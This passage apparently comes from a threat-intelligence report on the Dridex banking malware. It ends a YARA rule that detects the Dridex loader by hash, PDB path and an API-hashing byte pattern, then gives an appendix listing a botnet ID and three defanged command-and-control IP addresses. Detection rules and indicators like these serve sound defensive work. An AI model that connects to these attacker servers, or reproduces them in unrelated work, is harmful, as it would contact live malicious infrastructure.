hash1 = "ce509469b80b97e857bcd80efffc448a8d6c63f33374a43e4f04f526278a2c41"
strings:
$s1 = "S:\\Work\\_bin\\Release-Win32\\ldr.pdb" fullword ascii
$s2 = "OutputDebugStringW" fullword ascii
$s3 = "KERNEL32.dll" fullword ascii

$hash_resolver = { 56 57 8b fa 8b f1 8b cf e8 ?? ?? ?? ?? 85 c0 75 ?? 81 fe 29 aa 62 3f 75 ?? 33 c0 5f 5e c3}

condition:
( uint16(0) == 0x5a4d and
filesize < 300KB ) and
pe.imphash() == "cdd344983e4f44182600c69cb4fab21d" and (1 of them) or
( 1 of ($s*) and $hash_resolver )
}
VII. Appendix: Dridex Loader Configuration
Dridex ID: “10205”
104.236.24[.]85:443
188.240.231[.]15:3889
107.170.220[.]167:4431